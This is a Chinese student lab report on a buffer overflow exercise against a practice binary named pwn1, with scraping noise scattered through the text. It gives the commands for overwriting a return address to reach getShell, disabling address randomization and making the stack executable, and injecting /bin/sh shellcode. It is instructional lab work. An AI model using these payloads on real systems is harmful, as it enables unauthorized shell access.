本次实践的对象是一个名为pwn1的linux可执行文件。linux
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。sass
objdump -d pwn20165237 | more
vi pwn20165237
在vi里面进行如下步骤安全
将16进制转换回原格式 :%!xxd -r,:wq!退出
网络
objdump -d pwn20165237 | more
./pwn20165237
objdump -d pwn5237 | more
查看getshell()的内存地址
dom
对pwn5237进行GDB调试,运行并输入进行尝试 1111111122222222333333334444444412345678
函数
生成包含字符串的文件学习
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(cat input;cat) | ./pwn5237
将input的内容做为./pwn5237的输入,并验证结果
spa
安装execstack:apt-get install execstack 设置堆栈可执行: execstack -s pwn1 查询文件的堆栈是否可执行: execstack -q pwn1 关闭地址随机化: echo "0" > /proc/sys/kernel/randomize_va_space 查看地址随机化是否已经关闭: more /proc/sys/kernel/randomize_va_space
注入攻击
调试
再打开一个终端Ctrl+Alt+t,找到进程号为33071
gdb pwn1 attach 33071 disassemble foo break *0x080484ae continue info r esp x/16x 0xffffd30c
经过计算,获得shellcode的地址是0xffffd310
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
感想:此次实验,经过和舍友的讨论以及百度的帮助让我对缓冲区溢出攻击有了更深入的认识,尤为是栈的溢出与替换;实验操做过程当中根据指导书循序渐进得作没有什么困难,但愿可以再接再砺,学到更多有用的知识!
什么是漏洞?漏洞有什么危害?
答:漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可使攻击者可以在未受权的状况下访问或破坏系统。本次实验的缓冲区溢出原理就是一个漏洞。他们会使计算机遭受病毒和黑客攻击,将本身的私人信息泄露出去。